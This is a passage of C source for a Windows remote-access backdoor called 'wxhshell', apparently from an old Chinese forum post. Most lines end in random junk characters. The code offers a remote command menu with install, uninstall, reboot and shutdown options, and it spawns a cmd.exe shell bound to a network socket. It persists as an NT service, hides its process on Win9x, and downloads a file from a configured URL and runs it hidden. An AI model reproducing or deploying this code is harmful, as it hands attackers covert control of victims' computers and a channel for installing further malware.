  e:=+~F(f  
  // 帮助 ks<+gL{K|i  
  case '?': { ?/Z5%?6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (APGz,^9#  
    break;  6Xt c3  
  } $`Aps7A  
  // 安装 q]m$%>  
  case 'i': { Iyt.`z  
    if(Install()) !Bb^M3iA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =2, iNn  
    else lkgB,cflpi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yf x'7gj  
    break; ~ 6Hi"w  
    } ]Hrw$\Ky  
  // 卸载 ?uqPye1fc  
  case 'r': { w0fFm"A|W  
    if(Uninstall()) 4G=KyRKh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O@,9a~Ghd  
    else :-1 i1d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); );ZxKGjc4  
    break; CrEC@5 j  
    } K=;oZYNd  
  // 显示 wxhshell 所在路径 uJL[m(G  
  case 'p': { Z~ DR,:  
    char svExeFile[MAX_PATH]; }&IOBYHVDo  
    strcpy(svExeFile,"\n\r"); Uj> bWa`  
      strcat(svExeFile,ExeFile); 'E1m-kJz  
        send(wsh,svExeFile,strlen(svExeFile),0); a &tl@y1  
    break; -l q,~`v  
    } {us"=JJVN  
  // 重启 Lz}mz-N  
  case 'b': { N uq/y=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wnbKUlb  
    if(Boot(REBOOT)) |j7{zsH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0uf)6(f  
    else { 0-zIohSJdQ  
    closesocket(wsh); xX{gm'3UYa  
    ExitThread(0); 47 9yG/+\  
    } g2GHsVS  
    break; c=~FXV!  
    } Vw b6QIs  
  // 关机 # ,27,#  
  case 'd': { ( T2 \   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @# &y  
    if(Boot(SHUTDOWN)) mdukl!_x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4$jb-Aw  
    else { "9yQDS:  
    closesocket(wsh); L2^M#G@t  
    ExitThread(0); i 9wk)  
    } mEDi'!YE"  
    break; w;KNS'   
    } m}?(c)ST  
  // 获取shell Y @[Dy  
  case 's': { $qh?$a  
    CmdShell(wsh); "A,-/~cBV  
    closesocket(wsh); F<A[S "  
    ExitThread(0); <LA!L  
    break; 2$gOe^ &  
  } eEMU,zCl  
  // 退出 [f\TnXq24  
  case 'x': { D]$X@2A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o"@GYc["  
    CloseIt(wsh); t5jZ8&M5]  
    break; ayoqitXD?  
    } 84u %_4/  
  // 离开 P+[\9Gg  
  case 'q': { 8iwqy0<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tJ!s/|u(  
    closesocket(wsh); NU$?BiB?R  
    WSACleanup(); 8^6dK  
    exit(1); 8!u8ZvbFG  
    break; *S=zJyAO  
        } ![4<6/2gy  
  } 2';f8JLY  
  } .@(9v.:_u  
W=@]YI  
  // 提示信息 !_My]>S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8\@&~&(y:  
} nA>kJSL'$  
  } [`Dv#  
bClMM  
  return; ;33LuD<h.  
} Q,z^eMk'd:  
>@9>bI+Q  
// shell模块句柄 0NMekVi  
int CmdShell(SOCKET sock) *FrlzIAom  
{ yUzpl[*e^o  
STARTUPINFO si; 1lLL9l{UVw  
ZeroMemory(&si,sizeof(si)); 0413K_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MC&sM-/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;OynkZs)  
PROCESS_INFORMATION ProcessInfo; Y]gb`z$?  
char cmdline[]="cmd"; sM$gfFx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l2LUcI$ x  
  return 0; aL%amL6CX  
} ?A7_&=J%  
0755;26Bx  
// 自身启动模式 U$5 lh  
int StartFromService(void) WGeTL`}dh  
{ bI?YNt,  
typedef struct 1rmK#ld"=Z  
{ vkQkU,q  
  DWORD ExitStatus; c3$h-M(jVJ  
  DWORD PebBaseAddress; =UW! 7OzC  
  DWORD AffinityMask; uNSbAw3  
  DWORD BasePriority; dJ}E,rW}  
  ULONG UniqueProcessId; $Q cr  
  ULONG InheritedFromUniqueProcessId;  B1!b@0^  
}   PROCESS_BASIC_INFORMATION; 9dFSppM  
Z U^dLN- N  
PROCNTQSIP NtQueryInformationProcess; KixS)sG  
r|>a;n Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2po>%Cp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1^4z/<ZWm  
nR1QS_@{L  
  HANDLE             hProcess; Dtw1q-  
  PROCESS_BASIC_INFORMATION pbi; -$js5 Gx1  
0+P<1ui  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >u:t2DxE  
  if(NULL == hInst ) return 0; mgxoM|n6  
ufekhj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7jL3mI;n%;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E1uyMh-dy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R|Lr@k{6+r  
l].Gz`L  
  if (!NtQueryInformationProcess) return 0; toCxY+"nbU  
sw'?&:<"Ow  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0[qU k(=}[  
  if(!hProcess) return 0; s;'j n_,0  
|_^A$Hv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ] _WB^  
_z$lg]q  
  CloseHandle(hProcess); sm~{fg  
~;*SW[4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "5,tEP!  
if(hProcess==NULL) return 0; ,c;u]  
:DlgNR`bq  
HMODULE hMod; oS/cS)N20  
char procName[255]; N=QeeAI}}m  
unsigned long cbNeeded; l12_&o"C~  
9$u'2TV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P~5[.6gW  
)Uv lEG']  
  CloseHandle(hProcess); lj4D: >Ov  
{{WA=\N8C  
if(strstr(procName,"services")) return 1; // 以服务启动 (A\p5@ht  
xA-u%Vf7@  
  return 0; // 注册表启动 nCz_gYcIx  
} ` 5.PPI\h2  
UE[5Bw?4X  
// 主模块 qx$-% P  
int StartWxhshell(LPSTR lpCmdLine) ]H4T80wm&  
{ 0~5'O[NhF  
  SOCKET wsl; ?x|8"*N  
BOOL val=TRUE; v&NC` dVR  
  int port=0; PsLMV:O9S  
  struct sockaddr_in door; v;q<h  
8Q%rBl.  
  if(wscfg.ws_autoins) Install(); AI|8E8h+D  
Sj$XRkbj:  
port=atoi(lpCmdLine); '<A:`V9M}v  
FOFZ/q  
if(port<=0) port=wscfg.ws_port; wap@q6fz<  
f<`is+"  
  WSADATA data; $ {iV]Xt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  4|9c+^%^  
S|{'.XG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i9qn_/<c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /WlpRf%  
  door.sin_family = AF_INET; !8Rsz:7^-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *h`%u8/{  
  door.sin_port = htons(port); X5|<qu  
@C]Q;>^|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *<PQp   
closesocket(wsl); $R'  
return 1; cZ@z]LY.g  
} Yy$GfjJtL]  
Vd-\_VP20  
  if(listen(wsl,2) == INVALID_SOCKET) { b#:Pl`n6u  
closesocket(wsl); }E\ b_.  
return 1; p@H3NX  
} vakAl;  
  Wxhshell(wsl); $\0%"S  
  WSACleanup(); PfaBzi9?f  
:Kl~hzVSOa  
return 0; JP2zom  
|6%B2I&c  
} \BV$p2m5-  
\B0,?_i  
// 以NT服务方式启动 WW'8&:x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h@5mVTb}i  
{ 5ayM}u%\~  
DWORD   status = 0; ^r u1QDT  
  DWORD   specificError = 0xfffffff; fgs){ Ng`  
.#M'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yA8e"$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rNgFsFQ>.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G d".zsn  
  serviceStatus.dwWin32ExitCode     = 0; 1^*M*>&d<  
  serviceStatus.dwServiceSpecificExitCode = 0; ]}3AP!:  
  serviceStatus.dwCheckPoint       = 0; zHI_U\"8D  
  serviceStatus.dwWaitHint       = 0; =@ '>|-w|  
X*'tJN$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `uO(#au,U  
  if (hServiceStatusHandle==0) return; IA\CBwiLj  
X}~5%B(  
status = GetLastError(); Z'P>sV  
  if (status!=NO_ERROR) {&2a H> V/  
{ Q-3o k7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h}X^  
    serviceStatus.dwCheckPoint       = 0; ? 1OZEzA!  
    serviceStatus.dwWaitHint       = 0; {9tKq--@E9  
    serviceStatus.dwWin32ExitCode     = status; 2;Ij~~  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2VrO8q(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J33enQd  
    return; Xndgs}zz  
  } mVg$z  
Hh_Yd)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d-=RS]j;j  
  serviceStatus.dwCheckPoint       = 0; wj-=#gyAoo  
  serviceStatus.dwWaitHint       = 0; }9&Z#1/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y"Fp4$qb  
} 8i H'cX  
_vQtV]  
// 处理NT服务事件,比如:启动、停止 %SG**7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z|w@eQ",  
{ dM%#DN8 l  
switch(fdwControl) F~;G [6}  
{ -6URM`y'j  
case SERVICE_CONTROL_STOP: 2S~cW./#fX  
  serviceStatus.dwWin32ExitCode = 0; K3uNR w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #kO.'oIl  
  serviceStatus.dwCheckPoint   = 0; z=}@aX[  
  serviceStatus.dwWaitHint     = 0; BT|5"b}  
  { I7b_dJD;*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9] i$`y  
  } K.y2 $b/  
  return; C+, JLK  
case SERVICE_CONTROL_PAUSE: =J2\"6BnzA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T6gugDQ~.  
  break; }:5_vH0  
case SERVICE_CONTROL_CONTINUE: Pc+8CuN?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :[;]6;  
  break; 1o&] =(  
case SERVICE_CONTROL_INTERROGATE: IFrq\H0  
  break; f`zH#{u  
};  Q.3oDq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^6tcB* #A  
} D(EY"s37  
_0~WT  
// 标准应用程序主函数 vdwh59W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {fwA=J9%KS  
{ svt%UE|_:$  
2E V M*^A  
// 获取操作系统版本 (zW;&A  
OsIsNt=GetOsVer(); ^Z?X\t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hxIG0d!o  
dQ&S&SW  
  // 从命令行安装 f L @rv  
  if(strpbrk(lpCmdLine,"iI")) Install(); K+9oV[DMs  
 .AEOf0t  
  // 下载执行文件 ZG=B'4W  
if(wscfg.ws_downexe) { 'S_kD! BO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]}4{|& e  
  WinExec(wscfg.ws_filenam,SW_HIDE); wv.FL$f[@  
} udRum7XW 3  
l>l)m-;O  
if(!OsIsNt) { aNZJs<3;'D  
// 如果时win9x,隐藏进程并且设置为注册表启动  3kAmRU  
HideProc(); yv.Y-c=  
StartWxhshell(lpCmdLine); m!{}Y]FZn  
} I)wjTTM5  
else 'dE G\?v9  
  if(StartFromService()) q+A^JjzT  
  // 以服务方式启动 'ZyHp=RN)  
  StartServiceCtrlDispatcher(DispatchTable); 1b4aY> Z  
else RYU(z;+0p  
  // 普通方式启动 n5nV4 61U  
  StartWxhshell(lpCmdLine); @,Je*5$o"  
Irk@#,{<  
return 0; HPc7Vo(  
}
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只看该作者 1 发表于: 2006-10-10
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